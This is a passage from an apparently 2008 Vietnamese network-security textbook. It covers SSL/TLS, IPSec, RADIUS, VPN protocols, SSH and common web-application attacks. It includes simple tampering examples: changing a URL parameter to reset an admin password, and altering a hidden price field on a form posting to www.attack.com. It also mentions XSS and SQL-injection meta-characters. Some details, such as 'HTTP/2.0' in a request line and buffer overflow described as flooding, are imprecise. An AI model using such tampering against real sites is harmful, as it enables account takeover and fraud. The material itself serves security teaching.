phần nội dung thông tin thì không.

- Encapsulation Security Payload (ESP): Nội dung thông tin sẽ được mã

hóa, đảm bảo tính bí mật của dữ liệu.

Cả 2 giao thức trên đều sử dụng kỹ thuật mã hóa đối xứng.

IPSec cung cấp cơ chế mã hóa 56-bit (DES) và 128-bit (3-DES) và mới nhất

là 256-bit (AES).

2.2.3. Giao thức mã hóa lớp 4 : SSL/TLS

a. Khái niệm

Được phát triển bởi Netscape, ngày nay giao thức Secure Socket Layer (SSL) đã

được sử dụng rộng rãi trên World Wide Web trong việc xác thực và mã hoá thông

tin giữa client và server. Tổ chức IETF (Internet Engineering Task Force ) đã

chuẩn hoá SSL và đặt lại tên là TLS (Transport Layer Security). Mặc du là có sự

thay đổi về tên nhưng TSL chỉ là một phiên bản mới của SSL. Phiên bản TSL 1.0

tương đương với phiên bản SSL 3.1. Tuy nhiên SSL là thuật ngữ được sử dụng

rộng rãi hơn.

SSL được thiết kế như là một giao thức riêng cho vấn đề bảo mật có thể hỗ trợ cho

rất nhiều ứng dụng. Giao thức SSL hoạt động bên trên TCP/IP và bên dưới các

giao thức ứng dụng tầng cao hơn như là HTTP (Hyper Text Transport Protocol),

Page 105: Co so ly thuyet ve bao mat

Cơ sở lý thuyết về BẢO MẬT MẠNG 2008

105

IMAP ( Internet Messaging Access Protocol) và FTP (File Transport Protocol).

Trong khi SSL có thể sử dụng để hỗ trợ các giao dịch an toàn cho rất nhiều ứng

dụng khác nhau trên Internet, thì hiện nay SSL được sử dụng chính cho các giao

dịch trên Web.

SSL không phải là một giao thức đơn le, mà là một tập các thủ tục đã được chuẩn

hoá để thực hiện các nhiệm vụ bảo mật sau:

Xác thực server: Cho phép người sử dụng xác thực được server muốn kết nối. Lúc

này, phía browser sử dụng các kỹ thuật mã hoá công khai để chắc chắn rằng

certificate và public ID của server là có giá trị và được cấp phát bởi một CA

(certificate authority) trong danh sách các CA đáng tin cậy của client. Điều này rất

quan trọng đối với người dung. Ví dụ như khi gửi mã số credit card qua mạng thì

người dung thực sự muốn kiểm tra liệu server sẽ nhận thông tin này có đúng là

server mà họ định gửi đến không.

Xác thực Client: Cho phép phía server xác thực được người sử dụng muốn kết nối.

Phía server cũng sử dụng các kỹ thuật mã hoá công khai để kiểm tra xem

certificate và public ID của server có giá trị hay không và được cấp phát bởi một

CA (certificate authority) trong danh sách các CA đáng tin cậy của server không.

Điều này rất quan trọng đối với các nhà cung cấp. Ví dụ như khi một ngân hàng

định gửi các thông tin tài chính mang tính bảo mật tới khách hàng thì họ rất muốn

kiểm tra định danh của người nhận.

Mã hoá kết nối: Tất cả các thông tin trao đổi giữa client và server được mã hoá

trên đường truyền nhằm nâng cao khả năng bảo mật. Điều này rất quan trọng đối

với cả hai bên khi có các giao dịch mang tính riêng tư. Ngoài ra, tất cả các dữ liệu

được gửi đi trên một kết nối SSL đã được mã hoá còn được bảo vệ nhờ cơ chế tự

động phát hiện các xáo trộn, thay đổi trong dữ liệu. ( đó là các thuật toán băm –

hash algorithm).

Giao thức SSL bao gồm 2 giao thức con: giao thức SSL record và giao thức SSL

handshake. Giao thức SSL record xác định các định dạng dung để truyền dữ liệu.

Giao thức SSL handshake (gọi là giao thức bắt tay) sẽ sử dụng SSL record protocol

để trao đổi một số thông tin giữa server và client vào lấn đầu tiên thiết lập kết nối

SSL.

b. Các thuật toán mã hoá dùng trong SSL

Page 106: Co so ly thuyet ve bao mat

Cơ sở lý thuyết về BẢO MẬT MẠNG 2008

106

Giao thức SSL hỗ trợ rất nhiều các thuật toán mã hoá, được sử dụng để thực hiện

các công việc trong quá trình xác thực server và client, truyền tải các certificates và

thiết lập các khoá của từng phiên giao dịch (sesion key). Client và server có thể hỗ

trợ các bộ mật mã (cipher suite) khác nhau tuỳ thuộc vào nhiều yếu tố như phiên

bản SSL đang dung, chính sách của công ty về độ dài khoá mà họ cảm thấy chấp

nhận được - điều này liên quan đến mức độ bảo mật của thông tin, ….

Nói 1 cách ngắn gọn, SSL có thể sử dụng các thuật toán sau:

DES (Data Encryption Standard) là một thuật toán mã hoá có chiều dài khoá là 56

bit.

3-DES (Triple-DES): là thuật toán mã hoá có độ dài khoá gấp 3 lần độ dài khoá

trong mã hoá DES

DSA (Digital Signature Algorithm): là một phần trong chuẩn về xác thực số đang

được được chính phủ Mỹ sử dụng.

KEA (Key Exchange Algorithm) là một thuật toán trao đổi khoá đang được chính

phủ Mỹ sử dụng.

MD5 (Message Digest algorithm) được phát thiển bởi Rivest.

RSA: là thuật toán mã hoá công khai dung cho cả quá trình xác thực và mã hoá dữ

liệu được Rivest, Shamir, and Adleman phát triển.

RSA key exchange: là thuật toán trao đổi khoá dung trong SSL dựa trên thuật toán

RSA.

RC2 and RC4: là các thuật toán mã hoá được phát triển bởi Rivest dung cho RSA

Data Security.

SHA-1 (Secure Hash Algorithm): là một thuật toán băm đang được chính phủ Mỹ

sử dụng.

Các thuật toán trao đổi khoá như KEA, RSA key exchange được sử dụng để 2 bên

client và server xác lập khoá đối xứng mà họ sẽ sử dụng trong suốt phiên giao dịch

SSL. Và thuật toán được sử dụng phổ biến là RSA key exchange.

Các phiên bản SSL 2.0 và SSL 3.0 hỗ trợ cho hầu hết các bộ mã hoá. Người quản

Page 107: Co so ly thuyet ve bao mat

Cơ sở lý thuyết về BẢO MẬT MẠNG 2008

107

trị có thể tuỳ chọn bộ mã hoá sẽ dung cho cả client và server. Khi một client và

server trao đổi thông tin trong giai đoạn bắt tay (handshake), họ sẽ xác định bộ mã

hoá mạnh nhất có thể và sử dụng chúng trong phiên giao dịch SSL.

c. Hoạt động của SSL

Giao thức SSL sử dụng kết hợp 2 loại mã hoá đối xứng và công khai. Sử dụng mã

hoá đối xứng nhanh hơn rất nhiều so với mã hoá công khai khi truyền dữ liệu,

nhưng mã hoá công khai lại là giải pháp tốt nhất trong qúa trình xác thực. Một giao

dịch SSL thường bắt đầu bởi quá trình “bắt tay” giữa hai bên (SSL handshake).

Các bước trong quá trình “bắt tay” có thể tóm tắt như sau:

Client sẽ gửi cho server số phiên bản SSL đang dung, các tham số của thuật toán

mã hoá, dữ liệu được tạo ra ngẫu nhiên (đó chính là digital signature) và một số

thông tin khác mà server cần để thiết lập kết nối với client.

Server gửi cho client số phiên bản SSL đang dung, các tham số của thuật toán mã

hoá, dữ liệu được tạo ra ngẫu nhiên và một số thông tin khác mà client cần để thiết

lập kết nối với server. Ngoài ra server cũng gửi certificate của nó đến client, và yêu

cầu certificate của client nếu cần.

Client sử dụng một số thông tin mà server gửi đến để xác thực server. Nếu như

server không được xác thực thì người sử dụng sẽ được cảnh báo và kết nối không

được thiết lập. Còn nếu như xác thực được server thì phía client sẽ thực hiện tiếp

bước 4.

Sử dụng tất cả các thông tin được tạo ra trong giai đoạn bắt tay ở trên, client (cung

với sự cộng tác của server và phụ thuộc vào thuật toán được sử dụng) sẽ tạo ra

premaster secret cho phiên làm việc, mã hoá bằng khoá công khai (public key) mà

server gửi đến trong certificate ở bước 2, và gửi đến server.

Nếu server có yêu cầu xác thực client, thì phía client sẽ đánh dấu vào phần thông

tin riêng chỉ liên quan đến quá trình “bắt tay” này mà hai bên đều biết. Trong

trường hợp này, client sẽ gửi cả thông tin được đánh dấu và certificate của mình

cung với premaster secret đã được mã hoá tới server.

Server sẽ xác thực client. Trường hợp client không được xác thực, phiên làm việc

sẽ bị ngắt. Còn nếu client được xác thực thành công, server sẽ sử dụng khoá bí mật

(private key) để giải mã premaster secret, sau đó thực hiện một số bước để tạo ra

master secret.

Page 108: Co so ly thuyet ve bao mat

Cơ sở lý thuyết về BẢO MẬT MẠNG 2008

108

Client và server sẽ sử dụng master secret để tạo ra các session key, đó chính là các

khoá đối xứng được sử dụng để mã hoá và giải mã các thông tin trong phiên làm

việc và kiểm tra tính toàn vẹn dữ liệu.

Client sẽ gửi một lời nhắn đến server thông báo rằng các message tiếp theo sẽ được

mã hoá bằng session key. Sau đó nó gửi một lời nhắn đã được mã hoá để thông báo

rằng phía client đã kết thúc giai đoạn “bắt tay”.

Server cũng gửi một lời nhắn đến client thông báo rằng các message tiếp theo sẽ

được mã hoá bằng session key. Sau đó nó gửi một lời nhắn đã được mã hoá để

thông báo rằng server đã kết thúc giai đoạn “bắt tay”.

Lúc này giai đoạn “bắt tay” đã hoàn thành, và phiên làm việc SSL bắt đầu. Cả hai

phía client và server sẽ sử dụng các session key để mã hoá và giải mã thông tin

trao đổi giữa hai bên, và kiểm tra tính toàn vẹn dữ liệu.

Page 109: Co so ly thuyet ve bao mat

Cơ sở lý thuyết về BẢO MẬT MẠNG 2008

109

PHẦN 4

AN NINH ỨNG DỤNG

Page 110: Co so ly thuyet ve bao mat

Cơ sở lý thuyết về BẢO MẬT MẠNG 2008

110

CHƯƠNG 1: AN NINH TRONG TRUY CẬP TỪ XA

Như đã đề cập ở phần an ninh hạ tầng, một mô hình mạng cơ bản của tổ chức

thường có nhiều điểm kết nối (Network Access Points). Và cũng theo phần an ninh

hạ tầng, chúng ta phải xác định rõ nguy cơ đối với từng điểm kết nối để có giải

pháp bảo mật hợp lý. Trong chương an ninh truy cập từ xa này, chúng ta sẽ đề cập

đến những khái niệm liên quan đến truy cập từ xa như giao thức bảo mật mạng

không dây 802.1x, VPN, SSH, Radius,… Từng khái niệm sẽ được đề cập chi tiết ở

phần sau của chương.

1. 802.1x

802.1x là một giao thức được thiết kế để tăng cường bảo mật cho mạng không dây

WLAN. Khi một người dung muốn truy cập vào mạng không dây, 802.1x buộc họ

phải chứng thực với một thiết bị chứng thực tập trung gọi là Authenticator. 802.1x

sử dụng Extensible Authentication Protocol (EAP) để truyền thông tin giữa người

dung và Authenticator. Khi bắt đầu kết nối, Authenticator đặt người dung ở trạng

thái “unauthorized state” (chưa có quyền truy cập), khi đó, chỉ có gói tin EAP được

trao đổi để xác thực người dung. Người dung sẽ gửi các thông tin xác thực của

mình đến Authenticator, Authenticator chuyển tiếp các thông tin này tới máy chủ

xác thực (Authenticaton Server). Authentication server, là các máy chạy các dịch

vụ chứng thực (vd: RADIUS), sẽ chứng thực cho người dung. Nếu xác thực thành

công, người dung sẽ được đặt vào trạng thái “authorized state” và có thể truy cập

mạng WLAN. Hình sau đây minh họa quá trình chứng thực của một người dung

trong mạng WLAN.

Page 111: Co so ly thuyet ve bao mat

Cơ sở lý thuyết về BẢO MẬT MẠNG 2008

111

1.1. Những vấn đề an ninh của mạng không dây

Nhận thức của người dung:

– Kỹ thuật mới, hiện đại, ít người am hiểu tường tận.

– Quan điểm chủ quan.

– Cấu hình mặc định của các thiết bị thường ở chế độ mở hoàn toàn.

Các lỗ hổng bảo mật:

– WEP (wired equivalent protocol) không an toàn: Có thể bị be khóa trong

khoảng thời gian tính bằng phút đối với một máy tính thông thường.

– MAC filtering không hiệu quả vì MAC có thể bị thay đổi.

1.2. Các biện pháp bảo mật cho WLAN

Thay đổi ngay các giá trị mặc định của thiết bị trước khi đưa vào sử dụng.

Đặt AP ở vị trí hợp lý sao cho người dung có được tín hiệu tốt nhất và hạn

chế được tín hiệu ra bên ngoài.

Áp dụng tất cả các biện pháp bảo mật của thiết bị mà nhà sản xuất cung cấp.

Luôn cập nhật các phiên bản firmware mới nhất.

Sử dụng WPA thay cho WEP.

2. Virtual Private Network

Như đã trình bày đề cập chi tiết ở phần an ninh hạ tầng, VPN hiện được xem là

một trong những giải pháp truy cập từ xa an toàn với chi phí đầu tư thấp nhất hiện

nay.

Page 112: Co so ly thuyet ve bao mat

Cơ sở lý thuyết về BẢO MẬT MẠNG 2008

112

3. RADIUS

3.1. Khái niệm

Giao thức Remote Authentication Dial In User Service (RADIUS) được phát triển

bởi Livingston Enterprises với mục đích ban đầu là để chứng thực cho các kết nối

quay số (Dial-in). Sau đó, cung với sự phát triển của mạng không dây và mạng

riêng ảo, RADIUS cũng được mở rộng dung để chứng thực cho cả hai loại kết nối

này. RADIUS là loại dịch vụ phổ biến nhất dung cho một máy chủ AAA. Ví dụ:

một máy chủ truy cập từ xa (Remote Access Server - RAS) phải có khả năng

chứng thực cho người dung (Authentication), cho phép người dung hợp lệ thực thi

các hành động cụ thể (Authorization) và ghi lại các hành động của người dung

trong phiên kết nối (Auditing).

Khi một người dung truy cập từ xa và hệ thống, RADIUS được dung để chứng

thực username và passwords. Một RADIUS server có thể hoạt động độc lập

Page 113: Co so ly thuyet ve bao mat

Cơ sở lý thuyết về BẢO MẬT MẠNG 2008

113

(Stand-alone) hay là một thành phần trong môi trường phân cấp (Distributed

RADIUS).

Trong môi trường phân cấp, các RADIUS server chuyển tiếp yêu cầu chứng thực

của người dung đến một Enterprise RADIUS server dựa trên giao thức Proxy

RADIUS. Enterprise RADIUS server sẽ xử lý yêu cầu chứng thực của người dung

và lại gửi các thông tin hồi đáp tới các RADIUS cấp dưới.

Một trong những yếu tố khiến RADIUS trở nên rất phổ biến là vì nó hỗ trợ nhiều

giao thức, bao gồm:

Point-to-Point Protocol (PPP)

Password Authentication Protocol (PAP)

Challenge Handshake Authentication Protocol (CHAP)

3.2. Quá trình chứng thực của RADIUS

1) Người dung khởi tạo kết nối đến máy chủ truy cập từ xa (RAS server). Khi

kết nối được thiết lập, RAS yêu cầu người dung chứng thực bằng

Username/password.

2) Người dung gửi username/password đến RAS (có thể dung PAP hoặc

CHAP). RAS làm nhiệm vụ mã hóa các thông tin này bằng một khóa chia se

- shared secret key và chuyển đến RADIUS server.

3) RADIUS server chứng thực người dung dựa vào thông tin nhận được và cơ

sở dữ liệu về người dung.

4) Nếu các thông tin người dung hợp lệ, RADIUS hồi đáp bằng thông điệp

“access-accept”; ngược lại, RADIUS sẽ hồi đáp với thông điệp “access-

reject”.

5) RAS nhận được hồi đáp từ RADIUS sẽ cho phép hoặc từ chối người dung

truy cập vào mạng.

Page 114: Co so ly thuyet ve bao mat

Cơ sở lý thuyết về BẢO MẬT MẠNG 2008

114

Một điểm yếu phổ biến của RADIUS và các Web Server là có thể bị tấn công tràn

bộ đệm (buffer overflow). Kiểu tấn công này xuất hiện khi hacker gửi tràn ngập

các request khiến máy chủ RADIUS hay Web không thể xử lý. Lỗi này sẽ được

trình bày chi tiết ở phần An ninh máy chủ Web.

4. PPTP/L2TP

Như đã đề cập ở những phần trước, có một số giao thức tunneling được sử dụng

trong công nghệ VPN. Hai trong số đó là giao thức PPTP và L2TP, đều là những

giao thức lớp Data Link (lớp 2 trong mô hình OSI). PPTP sử dụng giao thức TCP ở

Page 115: Co so ly thuyet ve bao mat

Cơ sở lý thuyết về BẢO MẬT MẠNG 2008

115

cổng 1723 còn L2TP sử dụng UDP ở cổng 1701. Chúng ta cần lưu ý 2 cổng này

khi cấu hình VPN.

4.1. PPTP

PPTP là một giao thức phổ biến đơn giản vì nó là giao thức đóng gói dữ liệu đầu

tiên được đưa vào sử dụng, PPTP được thiết kế bởi các kỹ sư Microsoft. Hiển

nhiên, PPTP được hỗ trợ trên hầu hết các phiên bản HĐH Windows. PPTP thiết lập

kết nối point-to-point giữa 2 máy tính bằng cách đóng gói gói tin PPP trước khi

truyền đi. Mặc du PPTP giải quyết khá tốt vấn đề bảo mật đường truyền, nhưng

vẫn còn những vấn đề với giao thức này.

PPTP mã hóa dữ liệu với giao thức MPPE (Microsoft Point-to-Point

Encryption) trước khi truyền đi, nhưng lại không mã hóa những thông tin

được trao đổi trong quá trình thỏa thuận kết nối (Negotiation).

PPTP là một giao thức hạn chế, nghĩa là nó chỉ hoạt động trên môi trường

mạng IP.

PPTP không thể sử dụng kết hợp với IPSEC.

4.2. L2TP

Các kỹ sư của hãng Cisco tin rằng họ có thể thiết kế một giao thức đóng gói tốt

hơn PPTP và họ đã tạo ra Layer 2 Forwarding (L2F) Protocol. Tuy nhiên, L2F

cũng không tốt hơn PPTP là bao khi mà nó thậm chí còn không cung cấp cơ chế

mã hóa dữ liệu trước khi đóng gói.

Để kết hợp được được ưu điểm và giải quyết nhược điểm của cả 2 giao thức PPTP

và L2F, các kỹ sư của Microsoft và Cisco đã ngồi lại và phát triển ra một giao thức

mới- giao thức L2TP. L2TP đã có những điểm cải tiến đáng kể và đặc biệt, để giải

quyết được vấn đề mã hóa, L2TP được thiết kế để có thể kết hợp sử dụng cung

IPSEC. L2TP làm nhiệm vụ đóng gói dữ liệu (tunneling) còn IPSEC giải quyết vấn

đề mã hóa.

4.3. Những điểm khác biệt chính giữa PPTP và L2TP

L2TP sử dụng kết hợp được với IPSEC.

Page 116: Co so ly thuyet ve bao mat

Cơ sở lý thuyết về BẢO MẬT MẠNG 2008

116

L2TP hỗ trợ RADIUS và TACACS+.

L2TP thường được triển khai dưới dạng giải pháp phần cứng.

L2TP có thể hoạt động trên nhiều giao thức Network khác nhau: IP, IPX,

NetBeui trong khi PPTP chỉ hoạt động trên nền IP.

Sử dụng L2TP cung với IPSec cung cấp 2 lớp chứng thực:

o Computer-level authentication sử dụng chứng chỉ số hoặc khóa chia

se từ trước (pre-shared key) cho phiên làm việc IPSec.

o User-level authentication sử dụng các giao thức chứng thực PPP cho

việc tạo hầm ảo L2TP (Tunneling).

5. SSH

5.1. Khái niệm

SSH (Secure Shell) là một giao thức mạng dung để thiết lập kết nối mạng một cách

bảo mật. SSH hoạt động ở lớp ứng dụng trong mô hình bảy lớp OSI. Các công cụ

SSH (như là OpenSSH, PuTTy,…) cung cấp cho người dung cách thức để thiết lập

kết nối mạng được mã hoá để tạo một kênh kết nối riêng tư. Hơn nữa tính năng

tunneling (hoặc còn gọi là port forwarding) của các công cụ này cho phép ta xây

dựng một hệ thống mạng riêng ảo đơn giản dựa trên SSH.

Sử dụng SSH cho phép ta thay thế được các chương trình trước đó như Telnet,

Rlogin. Trong khi các công cụ này gửi username và password dưới dạng bản rõ

(clear text) và là mục tiêu dễ dàng cho các cuộc tấn công nghe lén (Sniffing) thì

SSH cung cấp cơ chế mã hóa đường truyền trước khi các thông tin nhạy cảm được

truyền đi.

5.2. Hoạt động của SSH

Khi người dung muốn thiết lập một phiên kết nối SSH đến máy chủ (host), người

dung sẽ gửi thông tin yêu cầu về phiên kết nối SSH. Khi Host nhận được yêu cầu

Page 117: Co so ly thuyet ve bao mat

Cơ sở lý thuyết về BẢO MẬT MẠNG 2008

117

từ người dung, cả hai sẽ thực hiện quá trình bắt tay (handshake), bao gồm cả quá

trình xác định các thông số chung. Tiếp theo, khóa phiên (session key) sẽ được trao

đổi giữa người dung và host. Việc trao đổi khóa phiên diễn ra an toàn với việc sử

dụng mã hóa công khai. Sau khi có khóa phiên, người dung có thể thực hiện phiên

kết nối mã hóa với khóa phiên.

6. IPSEC

IPSec là một bộ các chuẩn mở (open standards) được sử dụng để mã hóa dữ liệu để

nhằm đảm bảo dữ liệu được an toàn trên đường truyền dung chung, ví dụ Internet.

Không giống như các giao thức mã hóa đường truyền khác, IPSec không phụ thuộc

vào bất kì phương thức xác thực hay thuật toán mã hóa nào, và điều đó khiến nó

được coi là một bộ các chuẩn mở. Điểm nữa là IPSec hoạt động ở lớp Network

trong mô hình OSI, do vậy nó không bị phụ thuộc vào các ứng dụng, nghĩa là

người dung không cần phải cấu hình từng ứng dụng để sử dụng với IPSec.

Trong quá trình mã hóa và chứng thực dữ liệu, IPSec sử dụng một trong hai, hoặc

cả hai giao thức sau để bảo vệ mật thông tin:

Authentication Header (AH): Header của gói tin được mã hóa và bảo vệ

phòng chống các trường hợp IP Spoofing (sự giả mạo IP) hay MITM. Tuy

nhiên, trong trường hợp này, chỉ có phần header của gói tin được bảo vệ còn

phần nội dung thông tin thì không.

Page 118: Co so ly thuyet ve bao mat

Cơ sở lý thuyết về BẢO MẬT MẠNG 2008

118

Encapsulation Security Payload (ESP): Nội dung thông tin sẽ được mã hóa,

đảm bảo tính bí mật của dữ liệu.

7. Tóm tắt nội dung chương

1. 802.1x sử dụng EAP để trao đổi thông tin giữa người dung mạng không dây

và thiết bị chứng thực (authenticator).

2. Kỹ thuật Tunneling của VPN bao gồm 3 giao thức: giao thức truyền tải

(carrier protocol), giao thức đóng gói (encapsultation protocol) và giao thức

gói tin (passenger protocol).

3. Có 2 loại VPN là VPN site-to-site và VPN remote-access (Dial-in VPN).

4. PPTP là giao thức đóng gói dữ liệu trong VPN hoạt động ở cổng dịch vụ

TCP 1723, L2TP hoạt động ở cổng UDP 1701, SSH hoạt động ở cổng TCP

22.

5. RADIUS, TACACS và TACACS+ là những giao thức chứng thực tập trung

cho truy cập từ xa. RADIUS và TACACS là giao thức UDP, TACACS+ là

giao thức TCP.

6. SSH là giao thức tạo kết nối được mã hóa, thay thế cho các giao thức cũ

như telnet, rlogin, rsh và rcp.

7. SSH sử dụng khái niệm khóa phiên (khóa đối xứng) để mã hóa đường

truyền. Khóa phiên được trao đổi bằng mã hóa bất đối xứng.

8. IPSec sử dụng AH và ESP để mã hóa và chứng thực dữ liệu.

Page 119: Co so ly thuyet ve bao mat

Cơ sở lý thuyết về BẢO MẬT MẠNG 2008

119

CHƯƠNG 2: AN NINH WEB

1. Khái niệm ứng dụng Web

Ứng dụng Web là một ứng dụng chủ/khách (server/client) sử dụng giao thức HTTP

để tương tác giữa người dung và máy chủ Web.

Một ứng dụng Web thường có kiến trúc gồm:

Lớp trình bày: Lớp này có nhiệm vụ hiển thị dữ liệu người dung , ngoài ra

còn có thêm các ứng dụng tạo bố cục cho trang Web.

Lớp ứng dụng: là nơi xử lý của ứng dụng Web. Nó xử lý thông tin người

dung yêu cầu, đưa ra quyết định , gửi kết quả đến lớp trình bày. Lớp này

thường được xây dựng bằng các kỹ thuật lập trình như CGI, Java, .NET,

PHP hay Cold Fushion, được triển khai trên các trình chủ như IBM

WebSphere, WebLogic, Apache, IIS…

Lớp dữ liệu: Thường là các hệ quản trị cơ sở dữ liệu (DBMS) chịu trách

nhiệm quản lý các cơ sở dữ liệu và quyền sử dụng.

Page 120: Co so ly thuyet ve bao mat

Cơ sở lý thuyết về BẢO MẬT MẠNG 2008

120

2. Hoạt động của một ứng dụng Web

Đầu tiên trình duyệt của người dung (IE, Firefox, Netscape Navigator…) sẽ gửi

một yêu cầu (Request) đến trình chủ thông qua các lệnh cơ bản như GET, POST…

của giao thức HTTP. Trình chủ sẽ truy cập máy chủ chứa cơ sở dữ liệu để thực

hiện nhiệm vụ được yêu cầu: cập nhật, truy vấn thông tin đang nằm trong cơ sở dữ

liệu. Sau đó ứng dụng Web gửi thông tin lại cho người dung qua trình duyệt.

Theo mô hình trên, với Firewall, luồng thông tin giữa trình chủ và trình duyệt

người dung là thông tin hợp lệ. Vì vậy, nếu tồn tại lỗ hổng trong ứng dụng Web thì

tường lửa không còn hữu dụng trong việc ngăn chặn tấn công. Cũng chính bởi lý

Page 121: Co so ly thuyet ve bao mat

Cơ sở lý thuyết về BẢO MẬT MẠNG 2008

121

do này, các kỹ thuật tấn công vào một hệ thống mạng ngày nay đang dần tập trung

vào các lỗi lập trình trong quá trình phát triển ứng dụng Web hơn là tấn công trực

tiếp vào hệ thống mạng, hệ điều hành.

3. Tổng quan về các kỹ thuật tấn công ứng dụng Web

Như đã đề cập ở trên, ứng dụng Web được coi là mục tiêu ưa thích của hacker. Các

kỹ thuật tấn công mà hacker sử dụng thường tập trung vào 5 dạng tấn công sau:

Kiểm soát quyền truy cập Web.

Chiếm hữu phiên làm việc.

Lợi dụng những lỗ hổng trong việc kiểm tra dữ liệu hợp lệ.

Để lộ thông tin.

Tấn công từ chối dịch vụ.

2.1. Kiểm soát truy cập Web (Web Access Control)

Hacker có thể lợi dụng những lỗ hổng trên máy chủ Web hoặc lỗi trong quá trình

kiểm tra dữ liệu upload để cài một backdoor trên máy chủ Web.

2.2. Chiếm hữu phiên làm việc (Session Management)

2.2.1. Ấn định phiên làm việc (Session Fixation)

Là kỹ thuật tấn công cho phép Hacker mạo danh người dung hợp lệ bằng cách gửi

một đường link chứa session ID hợp lệ đến người dung. Ngay sau khi người dung

đăng nhập vào hệ thống thành công, hacker sẽ dung lại session ID đó và nghiễm

nhiên trở thành người dung hợp lệ.

Page 122: Co so ly thuyet ve bao mat

Cơ sở lý thuyết về BẢO MẬT MẠNG 2008

122

2.2.2. Đánh cắp phiên làm việc (Session Hijacking)

Là kỹ thuật tấn công cho phép Hacker mạo danh người dung hợp lệ sau khi nạn

nhân đã đăng nhập vào hệ thống bằng cách giải mã Session ID của họ lưu trữ trong

cookie hay tham số URL…

2.3. Lợi dụng những lỗ hổng trong việc kiểm tra dữ liệu hợp lệ (Input

Validation)

Hacker lợi dụng những ô nhập dữ liệu (Search, URL, Login…) để gửi đi một đoạn

mã bất kỳ khiến hệ thống phải thực thi đoạn lệnh đó hay bị phá vỡ hoàn toàn.

2.3.1. Tràn bộ đệm (Buffer OverFlow)

Một khối dữ liệu được gửi cho ứng dụng vượt quá lượng dữ liệu được cấp phát

khiến cho ứng dụng không thể thực thi được các câu lệnh hợp lệ mà thay vào đó

phải thực thi một đoạn mã bất kì do Hacker đưa vào hệ thống.

2.3.2. Mã hóa URL (URL Encoding)

Lợi dụng chuẩn mã hóa những ký tự đặc biệt trên URL mà hacker sẽ mã hóa tự

động những ký tự không hợp lệ- những ký tự được kiểm tra bằng ngôn ngữ kịch

bản- để vượt qua được sự kiểm soát.

2.3.3. Ký tự Meta (Meta-characters)

Sử dụng những ký tự đặc biệt, hacker có thể chèn thêm vào dữ liệu gửi những ký

tự trong chuỗi câu lệnh như <script> trong kỹ thuật XSS hay ‘ -- trong kỹ thuật

SQL Injection để thực thi câu lệnh.

2.3.4. Chèn mã lệnh thực thi trên trình duyệt nạn nhân (Cross-site Scripting)

Page 123: Co so ly thuyet ve bao mat

Cơ sở lý thuyết về BẢO MẬT MẠNG 2008

123

Đây là kỹ thuật tấn công chủ yếu nhằm vào thông tin trên máy người dung hơn là

vào hệ thống máy chủ. Bằng cách thêm một số đoạn mã bất kỳ (thường được lập

trình bằng ngôn ngữ kịch bản như JavaScipt, VBScript…), hacker có thể thực hiện

việc đánh cắp thông tin quan trọng như cookie để từ đó có thể mạo danh người

dung hợp lệ. Cross-Site Scripting cũng là một kiểu tấn công “Session Hijacking”.

2.3.5. Chèn câu truy vấn SQL (SQL Injection)

Trong lập trình với cơ sở dữ liệu, người lập trình đã sai sót trong vấn đề kiểm tra

giá trị nhập vào để từ đó hacker lợi dụng thêm vào những câu truy vấn hay những

giá trị không hợp lệ để dễ dàng đăng nhập vào hệ thống.

2.4. Để lộ thông tin (Informational)

Những tệp tin và ứng dụng trên hệ thống chứa những thông tin quan trọng như mã

nguồn một trang Web hay tệp tin chứa mật khẩu người dung trên hệ thống luôn là

mục tiêu của Hacker. Ngoài ra, những chú thích trong mã nguồn cũng là những

thông tin có ích cho hacker.

Ví dụ: hacker lợi dụng hồi đáp HTTP từ hệ thống để xác định một tệp tin, ứng

dụng có tồn tại không?

HTTP 200: tệp tin tồn tại.

HTTP 404: tệp tin không tồn tại.

Page 124: Co so ly thuyet ve bao mat

Cơ sở lý thuyết về BẢO MẬT MẠNG 2008

124

2.5. Tấn công từ chối dịch vụ

Hacker bằng cách nào đó gửi một lượng lớn yêu cầu đến máy chủ ứng dụng Web

trong một thời gian ngắn khiến cho hệ thống không thể đáp ứng kịp yêu cầu

không thể phục vụ những yêu cầu hợp lệ được nữa.

Hiện nay có nhiều dạng tấn công từ chối dịch vụ: DOS (Denial of Service), DDOS

(Distributed Denial of Service), DRDOS (Distributed Reflection Denial of

Service).

4. Các kỹ thuật tấn công phổ biến

4.1. Thao tác trên tham số truyền

Thao tác trên tham số truyền là kỹ thuật thay đổi thông tin quan trọng trên cookie,

URL hay biến ẩn form. Kỹ thuật XSS, SessionID, SQL Injection, Buffer OverFlow

… cũng cần đến các tham số này để hoàn thiện các bước tấn công của hacker. Có

thể nói, các tham số truyền là đầu mối cho mọi hoạt động của hacker trong quá

trình tấn công ứng dụng web.

4.1.1. Thao tác trên URL

4.1.1.1. Khái niệm

Khi nhập một form HTML thì kết quả sẽ được gửi đi theo 2 phương thức GET

hoặc POST và các giá trị này sẽ được thể hiện ở trong URL.

Ví dụ: có một trang web ứng dụng cho phép thành viên được thay đổi mật khẩu:

http://www.bank.com/example?user=anhdh&newpwd=123

Page 125: Co so ly thuyet ve bao mat

Cơ sở lý thuyết về BẢO MẬT MẠNG 2008

125

+ username là tên người dung cần thay đổi mật khẩu.

+ newpwd là mật khẩu mới của người dung.

Tuy nhiên, bằng cách thay đổi tham số như sau:

http://www.bank.com/example?user=admin&newpwd=123456

Hacker đã có thể thay đổi mật khẩu của admin bằng một mật khẩu mới bất kỳ, ở

đây là 123456.

4.1.1.2. Một số biện pháp phòng chống

Đối với kiểu tấn công thay đổi nội dung URL, biện pháp phòng chống tốt nhất là

mã hóa thông tin trước khi cho hiển thị trên trình duyệt để tránh hacker có thể sửa

đổi tuy ý.

4.1.2. Thao tác trên biến ẩn form

4.1.2.1. Khái niệm

Thông tin có thể được chuyển đổi thông qua một biến ẩn của form, gọi là Hidden

Form Field. Biến ẩn form không hiển thị trên màn hình trình duyệt nhưng người

dung có thể tìm thấy nội dung của nó bằng cách “view source”, vì thế đây là một

điểm yếu để hacker lợi dụng bằng cách lưu nội dung trang web xuống trình duyệt,

thay đổi nội dung trang và gửi đến trình chủ.

Ví dụ: Form gốc có nội dung như sau:

<form action=http://www.attack.com/cuahang.asp method=”POST”>

Page 126: Co so ly thuyet ve bao mat

Cơ sở lý thuyết về BẢO MẬT MẠNG 2008

126

<Input type=”hidden” name=”giaca” value=”99.99”>

</form>

Nếu không có sự thay đổi nào thì yêu cầu đến trình chủ có nội dung:

POST /cuahang.asp HTTP/2.0

Giaca=99.99

Nhưng nếu hacker gán một giá trị khác cho trường “giaca”:

<form action=http://www.attack.com/cuahang.asp method=”POST”>

<Input type=”hidden” name=”giaca”

value=”999999999999999999999999999999999999999”>

